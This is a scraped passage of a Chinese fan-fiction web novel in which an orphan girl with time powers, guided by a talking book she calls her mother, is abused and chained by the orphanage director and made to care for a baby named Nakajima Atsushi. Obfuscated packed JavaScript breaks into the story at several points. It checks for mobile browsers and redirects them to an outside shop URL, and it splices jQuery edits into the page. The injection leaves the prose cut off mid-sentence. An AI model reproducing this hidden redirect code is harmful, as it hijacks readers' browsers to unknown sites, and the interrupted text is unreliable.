《我的爸爸在哪里》 1. 关于纸飞机 “你有没有听到奇怪的声音?” 我盯着镜子里的后脑勺,再三思虑后开口问道。 “没有哦。” 有人这么说。 我抬眼环顾四周,像之前无数次那样。 这个房间里只有我一个人。 但我知道那声音就在这儿,在我身边,只是我看不见。 恰在此时,里面传来冲水的声音,小林阳葵推开洗手间的门。 “我洗完手咱们就可以回去了,小枝……小枝?” “你有没有听到奇怪的声音,阳葵?” “呃……你是说我拉肚子的声音吗?好吧,我承认,我不应该在晚餐过后偷吃冰淇淋的……” 阳葵拉着我向门外走去,她刚洗完手,冰凉的触感从指尖传来。 我回头。 昏暗的灯光下,镜子里只有两个女孩的后脑勺在快速移动。 我叫雪奈霜枝,今年六岁。据院长描述,他是在十二月的某一天捡到我的,于是十二月就成为了我的幸运月。 作为一个年仅六岁的小女孩,我的想法总是那么多。比如某一天,我突然发现自己没有小时候的记忆。 “这很正常,雪奈。”院长先生耐心地告诉我,“所有小孩都没有五岁之前的记忆,你和他们是一样的。” 但最近,我发现事情似乎并不是这样。 我和小林阳葵回到了自己的房间。 “阳葵,你在镜子里看到的我是什么样的?” “就是你平常的样子嘛,眼睛大大的,鼻子高高的,脸圆圆的。”小林阳葵闭上眼睛,打了个大大的哈欠,“好困哦,小枝。我要睡觉了。” “晚安,阳葵。” “晚安。” 没过多久,房间里只剩下阳葵平稳的呼吸声。 我躺在床上开始胡思乱想。 院长先生说的并不对,我似乎和别的小孩不一样。 他们不会在镜子里看不到自己的正脸。 也不会听见奇奇怪怪的声音。 早上七点半的闹钟准时响起。 我和阳葵一起洗完漱后来到餐厅准备吃早餐。 照顾我们的保姆姐姐给每个女孩都扎了可爱的丸子头,阳葵悄悄地告诉我,今天会有人来领养小孩。 “如果会有人领养我就好了,我希望有自己的爸爸妈妈。”阳葵戳着自己丸子头,“可那时候我又会和你分开……好难抉择哦,小枝。” “院长先生说被收养的小孩都不会再回到孤儿院。”我努力抬头,试图让自己的头发更舒服一点,“不过没关系,阳葵,到时候我会经常去看你的。” “真的吗,小枝!我们一言为定!” “一言为定。”我伸出小拇指和她拉了个勾。 “好了,女孩们,你们该去吃早饭了。” 保姆姐姐温温柔柔地说道,临走前还拍了拍我的头。 我愣了一会,随后拽着阳葵飞速朝餐厅跑去。 “小枝!你跑慢一点啦……” “我才不要!”我闭上眼睛痛苦大喊,“去晚了就只能得到糊掉的煎蛋了!” 今天的早餐是牛奶、煎蛋和面包。我叉起煎蛋往嘴里塞,果不其然,一股浓重的腥味传来。 “看你的表情就知道很难吃。”那个奇怪的声音再次出现,略带同情地说道,“哦,可怜的孩子,如果你能在早餐过后找到院长先生,那么你就会获得一块巧克力。” “我不喜欢吃巧克力。”我小声嘟囔着,“它们会让我的牙齿很痛。” “那是因为你长了蛀牙,”那个声音变得慈爱了起来,“这是某个不招人待见的东西做的小手脚,不过不用担心,今晚过后你的牙齿就会好了。” “为什么?你怎么会这么肯定?”我盯着盘子里的面包问道,“那个不招人待见的东西又是什么?医务室那些白白的小药片吗?” “你的问题真的很多。” 院长先生也说过类似的话。我回想起他当时依旧温和的的表情,愤愤地用叉子戳着盘子里的面包,难道爱问问题不是所有小孩的天性吗? 怎么这个莫名其妙的声音就没有院长先生那么温柔呢? “你可不是普通小孩。”那声音嗤笑了一声,“你的院长先生也不会一直温柔。” “你能听见我的心声?” “不仅如此,你的一切我都了如指掌。”它拉长了语调,不屑一顾地朝我扔了个重磅炸弹,“比如你第一次照镜子被里面的后脑勺吓到又不敢当面哭只能偷偷躲在被窝里掉小珍珠……还有其实你很讨厌喝热牛奶因为它会让你想起自己被烫得像小狗一样吐舌头……对了,最近睡觉前你是不是在幻想自己是某个日本富豪走失的女儿过几天就会有管家来接你回去继承百货商场?” “啊啊啊啊啊你别说了!偷听女孩子的心事难道是什么光荣的事情吗?你这个大变态!”表面上我还能强装镇定,实际内心早就上演一万遍原地消失术了——太羞耻了!这跟穿着睡衣被挂在学校公告栏上展览有什么区别?区别可能是这个更丢脸一点…… 不过—— “正常小孩会在镜子里看到后脑勺吗?这该不会又是那个不招人待见的东西的手笔吧?”我愤愤不平地在心里质问道,“还有,你怎么对我的事情了如指掌?你究竟是什么东西?” “都学会抢答了嘛,有我当年的风范。”那个声音温和地笑了笑,接着扔出了第二个重磅炸弹,“至于为什么我会如此了解你,因为——” “我是你妈。” “哐啷——” 我惊得手一松,手里的叉子掉在盘子里,发出突兀的脆响。 “你看!连小枝也这么认为!”阳葵的声音在我耳旁炸响,她用力拍着桌子大声喊道,“今天的煎蛋就是很难吃!我一定会成为第一个被收养的孩子!” 嗯?我认为什么啊?不要把我拽进你们奇奇怪怪的赌注里啊?还有阳葵,最后两件事有什么关联吗?! 凭空多出一个只能听见却看不见的妈妈……遇到这种事,我本来是没有胃口继续吃早餐的。但看见院长先生用不赞同的目光注视着我之后,我还是就着牛奶把面包胡乱吃了下去。 ……为什么别人的妈妈都能亲亲抱抱举高高,而我的妈妈只能充当旁白啊! “珍惜粮食是一个好孩子应该做的。”院长先生不留痕迹地瞥了我一眼,随后让5-8岁的孩子们排队站好,“今天会有一对夫妻来领养孩子,我希望你们当中会出现第一个幸运儿。” “一定是我!”阳葵挺直胸膛说道,“我的日常表现可是第一名!” 我拉着她的手互相加油打气。 如果阳葵能拥有一对很爱她的父母,那么让我们分开也没关系。 事实上我还是低估了阳葵的魅力,在那对夫妻看见我们这群小萝卜头排排站的瞬间,被收养的机会就稳稳落在了阳葵身上。 “哎呀,真是个各方面都很优秀的孩子呢。”那位看起来十分年轻实际上已经三十八岁的女人笑着摸了摸阳葵的脑袋,似乎对阳葵的各方面都十分满意。 院内外充满了快活的空气。 与此同时,我盯着小林阳葵大大的笑容,不由得悲从中来。 阳葵是我在孤儿院里最好的朋友,我想我应该把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜我和阳葵没有下次说悄悄话的机会了。我压抑住悲伤的情绪,翻过身钻进她的被窝里问道,“为什么你一定要被收养,阳葵?” “因为收养之后你就会拥有爸爸妈妈!”阳葵说,“而爸爸妈妈是我们成长路上的标配!” “你说的似乎有点道理。” “那当然!这可是我从对面街上看到的!”阳葵说,“包括你最近遇见的怪事,小枝,如果你有自己的爸爸妈妈,那么这些问题都不是问题!” “……你说的不会是那座开在孤儿院对面的亲子游乐园吧?”我吐槽道,“那个游乐园老板一定是个没有脑子的极品!现在贴在柱子上的海报都褪色成恐怖片画风了!” “你懂什么!这叫人走茶未凉!” “……听起来更诡异了啊!说得好像那个极品不得好死一样!” ———— 轿车已经离开孤儿院很远了,我盯着那串尾气,握紧了手里的纸飞机。 “如果你很想我,就往天上扔一架纸飞机。”阳葵早上说的话,此刻无比清晰地在耳边响起。 “为什么?”我当时问。 我似乎真的是个爱问问题的小孩。 “因为……”我深吸一口气,对着纸飞机的尖尖机头哈了一口气,轻声回答道,“兜兜转转,它还会回到我们手里。” 随后我用力将它扔向天空。小小的纸飞机一开始飞得歪歪扭扭,随着一阵及时风吹过,眨眼间便消失在那篇广阔的天空中。 2. 关于我的第一任爸爸 阳葵的收养并没有让我的生活出现太大的起伏。我每天还是该吃吃该喝喝,过着朴实无华的孤儿院生活。 倒是成天在我耳边叨叨还自称是我妈的奇怪声音伤心得不行。它出现在我耳边的次数多了起来。 “可怜的孩子,失去了最好的朋友,你一定很难过吧。”我妈十分悲痛地说道,“为了完成好朋友的愿望,就让我们踏上寻找爸爸之旅吧!” “别说得好像阳葵已经不在了一样!”我表面装作无事发生地取出剪刀剪纸,心底默默地诅咒它每次都只能吃到糊腥的煎蛋,“阳葵说的明明是找‘爸爸妈妈’吧?” “拥有我这么完美的妈妈还不满足吗?” “......我觉得像你这种只闻其声不见其人的家伙根本不配充当妈妈的角色。”我用力合拢剪刀说道,“你最多算个旁白。” “你也不想被所有人知道你的异常吧,亲爱的。”我妈叹了一口气,“毕竟强者的世界总是不被人理解的啊。等你到了我这个年纪就明白了。” ......什么土掉渣的中二发言。我将剪纸对折,准备结束今天和它的对话,“谢谢,我才不要成为你这么可恶的大人。” “嗯?谁跟你说我是可恶的大人了?” “威胁小孩还不可恶吗?” “但我根本不是人啊!” ......起猛了,头一次看见这么有自知之明的神经病啊! 我没将这个神经病的话放在心上,在完成第一份剪纸后,我拿起了第二份。 “完成这份就可以去吃午饭了呢,”我心情愉快地想着,不由得加快了手上的动作,“吃完午饭就可以去阅览室溜达溜达啦,听院长先生说这两天收到了不少好心的社会人士捐赠的图书呢,里面有一本十分适合我,好像叫什么小蝌蚪找妈妈......” “是找爸爸。” “哇啊!”我被突如其来的声音吓得手一歪,右手的剪刀划过,在左手上留下一道血痕。 “雪奈,我记得上课前就说过使用剪刀时不允许走神!”手工老师有些急促地从讲台上走下来,“我现在立刻带你去医疗室用酒精消毒......欸?” “是我眼花了吗?”她在看见我那只完好无损的左手后松了一大口气,“不过幸好没有受伤啊!雪奈霜枝,老师上课前是不是再三强调如何安全使用剪刀?不可以在使用剪刀时分神,也不可以在课堂上大喊大叫,作为提醒,老师可能需要暂停你下次参加义务劳动的资格......” 佐藤老师的话我已经听不进去了。因为作为这只左手的主人,我清晰地看见了伤口出现又愈合的全过程。 整个过程甚至不超过一秒。 我下意识看向身边唯一的成年人,“佐藤老师......” “啊,是我说的有些过分了吧?你被吓到了吗,雪奈?” “抱歉,佐藤老师,我不应该上课时分心。”我低头盯着桌面,两只手在背后抠着衣角,小声问道,“剩下的时间我想去阅览室找院长先生,可以吗?” 佐藤老师同意了我的请求。 我轻轻关上门,将佐藤老师的话隔绝于门内,再次感叹年龄小可真好啊,连提前离开课堂也不会受到惩罚。 毕竟我只是一个刚受过惊吓并且只有六岁的小女孩来着。 “你的表现可不像一个六岁的小女孩应有的样子,”我妈漫不经心的声音再次在耳旁响起,“但你糊弄人的本事还不错,竟然在第一时间转动手臂,遮住了伤口,没被发现......要不你来跟着我干吧,呃......这么说不太合适——我给你介绍个爸爸怎么样?你绝对能从他身上学到好多......” “我不要。”我闷闷地说。 “什么?” “我说——”我深吸一口气,大声喊道,“我才不要!刚才我身上的怪事到底是怎么回事?是不是你搞的鬼?伤口为什么会愈合?还有,你究竟是个什么东西?” “哎呀,要解释这一切的来龙去脉嘛,你得先认识一个新名词。”我妈意味深长地笑了笑,“一想到接下来的身世大揭秘,我还有点激动呢。” “别卖关子了,到底是什么?” “拥有并能发动特殊能力的一类人,在横滨,他们通常被称为——”它轻轻吐出三个字: “异能者。” **** 我的世界观在接下来的十五分钟内发生了巨大的变化。 如果用我最近研读的小说来讲述的话就是...... 这个世界,表面是由普通人构成,暗处却涌动着一群异能者。 而我妈,是日本政府秘密实验的终极产物,在异能者的世界里,它有一个令人闻风丧胆的名号—— “空白页书。” “所有写在它身上的事,都将变成现实,”某个神秘人推了推眼镜,“只要逻辑合理,你就能做任何事情......” 所以我妈成为了异能界人人求而不得、念念不忘的白月光,黑、白乃至中立阵营都在寻找它的痕迹。 而我,作为我妈的女儿,也作为实验室产物的衍生物,成了“白月光带球跑”那场大戏里的被带走的球。 众所周知,作为球,天资聪颖、能力超群、人见人爱花见花开都是我最不值得一提的优点。而最重要的一点便是—— 没有人知道我的真实身份! 于是我的第一个任务就是隐瞒好自己,然后在某天给所有人一个surprise。 我的名号并没有我妈那么响亮,但我的实力却远在我妈之上。 我的异能【时纪残章】,以精神力强弱为根基展开领域,能改变范围内一切物体和生命的时间状态——加速,减速,暂停,甚至倒流。 说白了,我就是古希腊掌管时间的神。 但神也有弱点。 如果我的精神力不足以驾驭强大的异能的话,两者冲突之下,不仅时间无法被完全操控,就连我自己也会遭受反噬。 轻则独自奔赴黄泉,重则拉着整个世界陪葬。 虽然这份力量还未完全觉醒就是了。 而我妈作为万人追逐的白月光,自然也有着和它势不两立的死对头。我妈称它为—— “克苏鲁羽毛笔。” “那是一个和书页一样强大的存在,”神秘人又推了推眼镜说道,“它的使用前提和书页一样,但当二者合并,一切逻辑性与合理性都是浮云......” 而据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊,这个就是你找的爸爸吗?”我妈不太情愿地说道,“我认为他不是个好选择。” “才不许你这样说院长先生!”我扒着门缝,严厉地说道,“院长先生可是最温柔的!” “那是不知道你的异常之前。”我妈听起来有些恨铁不成钢,“你难道没看见他手里的文件吗?” “什么文件?” 竟然不是书吗? 我妈轻笑两声,“那可是关于异能者的。” “雪奈?” “吱——呀——” 门在此刻被打开,一片阴影落在我身上,我僵在原地,缓缓抬头,院长先生正低头看向我。 “你在这里干什么?” “啊,中午好呀,院长先生,好巧哦,没想到竟然在这遇见了你欸......”我故作惊喜地上前,还试图偷瞄两眼他手里的文件,“我听说阅览室里进新书了,我想过来看看。” 加油啊雪奈!再踮高一点就能看到文件上的字了啊!可恶,我不应该心软把今早的那杯牛奶推给田下的! “当然可以,你想看什么书?”院长先生温柔地拍了拍我的头,成功将我偷偷踮起来的高度按了下去。 “呃,小蝌蚪找爸......妈妈?” “原来是这本啊,我记得它就放在这里......” 院长先生转身开始查书,那份文件从文件夹里露出了一角。 ——《关于白虎的观察记录》 ......欸?孤儿院竟然还有闲钱养这种危险性高食量又大的动物吗? 3. 关于虎的观察记录 【春天来了,池塘里的小蝌蚪们孵化出来了。它们长着圆圆的脑袋、长长的尾巴,快乐地游来游去,可是它们从来没有见过自己的妈妈。】 我默默点头,表示赞同。虽然我没有圆圆的脑袋和长长的尾巴,但我也没见过自己的妈妈。 “见是没见过,但我一直在你身边嘛。”我妈的声音又冒了出来,“你真的要认贼为父吗?” “喂,你这是乱用词语吧,院长先生贼在哪里了?”我颇为不满地翻页,开始阅读下一行。 【小蝌蚪看见鸭妈妈带着小鸭子在游泳,就迎上去喊:“妈妈!妈妈!”鸭妈妈笑着说:“我不是你们的妈妈。你们的妈妈头顶上有两只大眼睛,嘴巴又阔又大。你们到前面去找吧。”】 “我给你介绍的这位爸爸也有着大大的眼睛哦,还是个四眼呢。”我妈自顾自地进入了话痨状态,“而且他还是政-府官员欸,前途一片光明。” “那我更不能招惹人家了,毕竟一跟我这种身份的家伙沾上边,他的职业生涯也就到头了吧。” 【小蝌蚪看见一条大鱼头顶有两只大眼睛,嘴巴又阔又大,就追上去喊:“妈妈!妈妈!”大鱼笑着说:“我不是你们的妈妈。你们的妈妈有四条腿。你们到前面去找吧。”】 “四条腿吗?这个难度有点大,你的理想型爸爸难道是凳子吗?” “......挤不进来的圈子就不要硬挤了。”我飞速浏览了整个故事,看见小蝌蚪们长大成蛙后满足地吐了一口气,合上书,“这个故事教会了我勇往直前,我已经决定了,我要向我的院长爸爸坦白一切!” “祝你成功吧。”我妈悲哀地叹了一口气,送了我一句外国名言。 “不撞南墙不回头,你知道下一句是什么吗?”我妈没等我回答就自顾自地说了下去,“是不见棺材不落泪。” 耳边蓦地陷入安静,只剩下书页翻动的轻微声响。 我将图书放到一边,默默地为自己加油打气。然后起身走到院长先生身边,轻轻拽了拽他的袖子,小声说道,“院长爸爸,我好像......是一名异能者。” 这句话说出口的瞬间,世界没有崩塌,反而安静地像是在等待——等待一个开始,亦或是场新生。 世界崩塌了。 我站在禁闭室内,面对一墙冷酷的后脑勺悲哀地想着,我的故事开头便是结尾,连新生的机会也没有。 然而更悲哀地是,我那一直在耳旁叨叨的旁白老妈也彻底沉默了。 至于我为什么出现在禁闭室,还要从十分钟前说起。 那时我刚在阅览室美美地读完了小蝌蚪找妈妈的故事。然而童话终究是童话,我对院长先生的坦白并没有换来一个爸爸,反而让他看我的眼神活像在看一个会说话的针孔摄像头。 “其实我刚才说的话都是骗你的,院长先生。”我在被扔进禁闭室的前一秒还在奋力挣扎,“什么后脑勺啊,异能者啊都是假的,是我在你的书上看见的。” “看来你还偷看了我的文件,我对你很失望。”院长先生冷冰冰地问道,“你知道你的眼睛是什么颜色吗?” “呃......黑色?” “是红色,雪奈。”院长先生想了想阅览室的事情,摇头,“那是你的罪孽,雪奈。毕竟你毫无价值,像你这样的怪物根本没有活着的意义。” 门被关上了。 我蜷缩起身体,盯着镜子里的后脑勺发呆。 满镜子的后脑勺又让我想起那些小蝌蚪。在成为青蛙之前,它们总要游错许多次,认错许多回。 或许它们也会在水里偷偷叹息,质问自己为什么要游出那片池塘。 叹息之后要游回去吗? 不,反正我不会。 结局证明,事实也是如此。 我整理好心绪,准备给自己一个新生的机会。 虽然我现在正处于“没妈的孩子像根草”的境地,但没关系,谁又知道这根草会不会倔强地从禁闭室的缝隙里冒出来呢! **** 我撬开了门。 感谢镜子里的后脑勺!感谢美丽善良的保姆姐姐!感谢那个从未放弃的自己!感谢温柔和蔼的院长......啊,这个就先不用感谢了,毕竟他就是那个把我关进禁闭室里的罪魁祸首啊! 我带着“相中的爸爸塌房了怎么办”的悲痛心情溜进厨房,开始翻箱倒柜,试图找一点剩下的晚饭来填饱我可怜的肚子。 果然饥饿是人类最大的敌人啊,再饿下去的话恐怕连我的真实身份也要说出来了! 八个小时的饥饿足以让我变得悲痛,然而当我打开厨房门的那一瞬间,我就更悲痛了。 厨房空荡荡倒不算意外,毕竟在孤儿院的日子,我早就不抱什么希望了。 真正的问题是—— 院长先生这个塌房怪怎么会在这里啊! 他穿着一身白大褂,戴着细框眼镜,正聚精会神地将温水倒进一团白白的不明物体中。 听到开门声,他动作顿住,转过头来:“雪奈?” 我有些尴尬。 也有些心虚。 虽然按理来说我才是那个可怜的受害者,但当我看见院长先生的那一瞬间,饥饿和被否定的恐惧感还是一下子涌了上来。 “你为什么出现在这里?”男人的话像冰渣掉进被窝一样寒冷。 我鼓起勇气抬头,“我太饿了!院长先生,你这样囚禁儿童是犯法......” “啪!” 回应我的是响亮的巴掌声和火辣辣的疼痛。 院长先生一把拽住我的后衣领,勒得我几乎窒息,我被踉踉跄跄地拽走。他的声音似乎很遥远:“像你这样的怪物不会受到法律的保护,孤儿院是你唯一能待的地方。” 我拼命挣扎,“你胡说!我才不是怪物!我可以看见眼睛的颜色!” “是吗?”院长先生冷笑一声,“桃红、粉红、枣红、砖红,你知道自己的眼睛是哪一种吗?” 我不知道。 我也不想知道。 谁家好人会问这种问题啊! 再次吸入空气的瞬间,我的眼泪控制不住地往下流,右脸和咽喉火辣辣的疼痛都在时刻提醒我——院长先生真的塌房了。 我跪在地上开始剧烈咳嗽,沉重的铁链锁住脚腕,随后是铁门关上的巨响。 “等你能看见自己眼睛的颜色,”院长先生站在门外居高临下地说道,“你才能重新获得吃饭和走动的权利。” 锁芯转动,发出尖细的咔哒声。那声音就像脚腕上铁链的轰鸣,把最后一点侥幸也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135662|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁死了。 窗外有昏暗的光线投进来,在压抑的水泥地上折射出无数细小的灰尘。我爬过去,找到那片碎镜,用手擦了擦上面的灰尘,然后拿起。 ——镜子里折射出的,依然是那颗沉默又冷酷的后脑勺。 **** 《关于白虎的观察记录》 七月七日,凌晨。 我被一阵哭声吵醒。 不像普通婴儿的哭声,更像是某种能撕裂世界幕布的锐器。当我冲进第三隔离室时,监测仪的屏幕正在碎裂,不是物理性的,像是被橡皮擦掉的铅笔画。数据一行行消失,空气里掺杂着甜-腥味,闻起来像铁锈混合着梅花。 他在那里。 一个小小的婴儿,头顶上有一对毛茸茸的耳朵。那对耳朵转来转去,正在捕捉不同频率的声音,我甚至看见了空气的涟漪在那些绒毛间打转儿。 我抱起他时,哭声停了。 他睁开眼睛看向我,是淡金色的,让我想起了黄昏时破碎的微光。我还注意到他的手腕处有块虎斑状胎记,正随着脉搏轻轻起伏。 然后他笑了。 就在那一刻,我知道有什么事情正在发生。我的记忆开始剥落:关于他的档案编号、收容日期、以及十分钟前记录的心跳频率。我立刻抓起笔,在纸上写下“中岛敦”这三个字——这是他的名字。可那些字迹和破碎的检测仪屏幕一样,变得越来越淡。 三点四十八分。 他消失了。不是“咻”得一下消失不见,而是“从未存在过”的那种消失。我还保持着抱他的姿势,但手里的重量已经没了。隔离室只剩下淡淡的消毒水味,还有墙壁上正在褪色的异能波动图。 现在,整个特务科没人记得他了。 我翻遍数据库也没有找到任何记录,只剩下这张手记。奇怪的是它并没有被抹去。大概因为这不是冷冰冰的报告,而是一个将死之人的自言自语吧。 我不知道你是谁,但既然你能读到这里—— 契约已经成立了。 我恳求你去找他。他可能出现在任何地方:横滨贫民窟的纸箱里、鹤见川的回水湾中、镭体街的废墟间。他会冷,会饿,那对多余的耳朵更要被仔细藏好。你要教他如何不让哭声撕碎幕布,如何像个人类一样直立行走。 像我当初抚养魏尔伦那样吗? 不,我想这次应该不同。 我曾教他说话,教他握笔,教他如何藏起非人的眼睛,然后亲手将他送进深渊。 请你不要重蹈我的覆辙。 别让他知道自己是什么,也别让金色的微光变成武器。呼唤那温暖的名字,给他吃能填饱肚子的食物,掩藏他身上所有的异常。你要照顾他,直至死亡。 除非等到那个命定之人。 当你读到这里时,说明我的时间已经不多了。 我的记忆正在消失。我已经想不起他那双眼睛确切的颜色,只记得像易碎的肥皂泡。 抚养那个孩子。 别让虎吞噬他。 也别让世界吞噬虎。 【最后几行字无法辨认,似乎是手记主人的签名。纸张下方还有一行极小的字。】 PS:他喜欢被轻轻揉耳后根,他的耳朵会舒服地耷拉下来,这是只属于你们之间的小秘密(: 4. 关于我的逆袭 俗话说,三十年河东,三十年河西。你永远不要小瞧一个暂时被困于地下室的人。 因为你永远不知道,当她从泥泞中站起来时,掌心握着的是淬炼了三万次的锈剑,眼底燃烧的是能煮沸整条鹤见川的怒火! 我将沉重的铁链甩到一边,在地下室大笑起来。 愚蠢的人类!以为区区一条铁链就能困住我吗?我只是略施小异能,就让时间倒流回我还没被铁链锁住的那一刻! 我双眼发光地看向巨无霸铁门,如果异能也能让铁门消失的话...... 一声轻笑传来。 “那是不可能的。” 一道不合时宜的圣光“唰”得照亮了地下室,在一阵神圣的音乐中,一本空白页书——也就是我妈的实体,挥着书页充当的翅膀,缓缓停在空中。 “哇,这个出场太帅了!”我目瞪口呆,嫉妒让我原形毕露,“我也要!” “没想到我们母女第一次见面竟是在这样的环境下。”我妈的翅膀消失了,它落在我手中,书页来回反动,“我就说你那位院长不是好爸爸人选吧。” 一听我妈的话眼泪就控制不住地流了下来。我双手捧书,跪地大哭,“呜呜呜呜呜!我错了啊妈妈!我应该听妈妈的话的!不听老人言,吃亏在眼前啊!” “雪奈。” “怎么了,我亲爱的妈妈?” 我妈深吸一口气,严肃地说道,“我不是人类。” 嗯?难道是要和人类划分界限吗?我转念一想,脱口而出:“不听老东西言,吃亏在眼前啊!” 我感觉我这次好像转歪了。 因为我妈看起来已经想把我吊起来打了。 但好在母爱至上,它只是叹了一口气,愉快地对我说道,“你妈我去了这么久,就是为了彻底解决你那个大问题。” 一瞬间我脸也不疼了心也不痛了,激动地站了起来,“难道是......镜子里的后脑勺?” 我妈一愣,连书页翻动的速度也快了起来,“还挺有脑子。我找那个死对头打了一架,夺回了你对镜子的使用权。” 真是天道好轮回。我觉得现在的我可以站在院长面前大声喊出那句台词:“莫欺少年穷!” 不过在此之前,我立刻找到那面镜子,对准自己。 “妈,有点黑,能来点灯光不?” “还挺讲究。你这么着急不就是为了看自己的眼睛是啥色儿吧。” 光影垂落,我妈细心地为我打下一片蝴蝶光。 起初是一片模糊的银雾,然后焦点聚集,我看见了瞳孔。 一双艳如宝石的眼睛正聚精会神地盯着我。 院长先生这个大骗子! 我眨了眨眼。 镜子里燃烧的颜色,原来是血红色啊。 我靠着“血红色”这三个字成功走出了地下室。 院长先生那个塌房怪在听见这三个字后脸色十分阴沉,仿佛明天就是世界末日一样。但他最后还是将我放了出来,并给我派了个活儿。 ——照顾一个婴儿。 我再三思虑,认为这是一个不会再回地下室的好办法,于是答应了。 就这样,我摇身一变,从囚犯变成了这个名叫中岛敦的小婴儿的保姆。 我妈在得知我成为保姆后十分震惊,怒道这是赤裸裸的雇佣童工。但在它看见中岛敦后就陷入了沉默,久到都让我以为中岛敦是我的亲生弟弟什么之类的,但我妈一口否定了这个答案,并给了我两拳。 PS:因为我妈的本体没有手,所以它是用自身狠狠拍了两下我可怜的小脑袋瓜。 “真是的,下手好重啊,我真是你的亲女儿吗?”我一边嘟囔着一边心疼地抱住了自己,“那你为什么要盯着他看那么久,不是你儿子难道还是我儿子吗?” “某种意义上来说,”我妈罕见地没有反驳,只是叹了口气,“还真算你的儿子。没想到刚生下大女儿的第六年,我就有第三代了啊。” “......”你要不听听自己在说什么啊!我才六岁,六岁啊!自己还是个小萝卜头呢! “事情就是这样,你听明白了吧?”我妈说完来龙去脉后,累得瘫在婴儿床上一动不动。 我将它的封面扒拉到一边,给中岛敦掖好被角,“你的意思是,其实敦敦是寻找你的路标,但因为你在生我的时候将与他有关的那部分传给了我,所以他现在变成了寻找我的路标是吗?” “Bingo!怎么说他也是你的儿子,你没发现他格外喜欢你么?” “这点倒是发现了......”毕竟在我来之前,他可是咬坏了十几个奶瓶。院长先生又要为此头疼了。 但是...... 我惆怅地叹了口气。 “怎么了?”我妈飘到我身边,“你还是接受不了这个现实吗?” “我倒是接受良好啦......”我将手指放在中岛敦眼前转圈圈,这个小家伙被逗得嘎嘎傻乐,“只不过,我是一定要离开孤儿院的,到时候敦敦怎么办呢......欸?”我突然一个鲤鱼打挺,“你说我将他偷走的几率大不大?” “我劝你别。”我妈的话给了我当头一击,“你现在还没有那个能力呢,小枝。你离命定之人的距离还是太远了,他现在最好还是待在孤儿院。” “这样啊。”我将脑袋耷拉下去,盯着摇篮里的小婴儿。他呼出的热气打在我的鼻梁上,暖暖的。 那双淡金色的眼睛让我想起了黄昏时的微光。 “算了,谁知道我什么时候会离开孤儿院呢,说不定距离那天还远着呢。”我乐观地想着,戳破了中岛敦的鼻涕泡儿。 “咦~你这么快就进入母亲的角色了吗?” “想什么呢,你没看见泡泡都快比他脸大了吗?糊脸上怎么办?” “听起来怪怪的但似乎没有反驳的理由。”我妈嘟囔着递过来几张卫生纸,“算啦,谁让你是他妈呢,自己的孩子还是自己管吧。” 我原以为距离自己离开孤儿院的那天还要等很久,或许是十天半拉月,或许是十年二十年。可变化就像院长先生的塌房一样突兀。 “你似乎很会照顾小孩。” 在我挤出一点奶试温的时候,我妈欣慰地说了这句话。 “我只是冲了个奶粉吧,你那副‘我家小孩会照顾另一个小孩了哦~’的得意劲从哪来的啊。”我将奶嘴塞进中岛敦嘴里,顺手摸了摸他的耳后根。这小家伙立刻马不停蹄地喝了起来。 耳后根这个开关是我无意间发现的。有一次他被我妈弄得哇哇大哭,情急之下我揉了揉他脑袋上的兽耳。然后这小家伙就不哭了,挺个鼻涕泡对我傻笑起来。 像个人机一样,傻傻的,嘿嘿。 毫无疑问,中岛敦是一个很乖的小婴儿,每天除了吃就是睡,连哭的次数都很少,让人格外放心。 我戳了戳他的脸蛋,露出邪恶的笑容。 “雪奈。” “......” “雪奈!”我妈的魔音开始三百六十度无死角在我耳旁打转,“现在!立刻!跑出孤儿院!” “什么?!”我二话不说地开始收拾东西,拿出绳子将婴儿床和我的腰绑住,“着火了吗?还是几秒后会有陨石砸下来?” “呃,”我妈一愣,“你这个绳子是从哪拿的?” “啊,这是地下室绑我的那条铁链,我只是每天磨一点,铁棒磨成针你没听过吗?” “那也太离谱了吧!你不是刚出来没几天吗?” “用异能磨啊!我才不会傻乎乎地亲自动手呢!君子善假于物你不知道吗?” 我妈似乎是被我的操作和言语震惊到了,但它又很快反应了过来,冷着封面让我解开绳子单独冲出孤儿院。 就是不知道为什么总能从“单独”那两个字中听出杀意,还怪吓人的。 我低着头冲出孤儿院的大门。 “对,没错,就这样!”我妈兴奋地大喊,“像头牛一样奔跑吧!” “到底为什么啊!”我埋头狂奔,“连个理由也不给我,你知不知道这样跑很容易撞上人的......啊!” “砰! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135663|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 我的话和一声闷响同时炸开。一阵天旋地转,我踉跄地跌坐在地上。 眼前黑了几秒后,我眼冒金星,捂着脑袋起身,倒吸一口凉气。 完蛋了!撞人了! 被我撞的那个倒霉蛋四仰八叉地躺在地上,看起来好像走了有一会儿了。 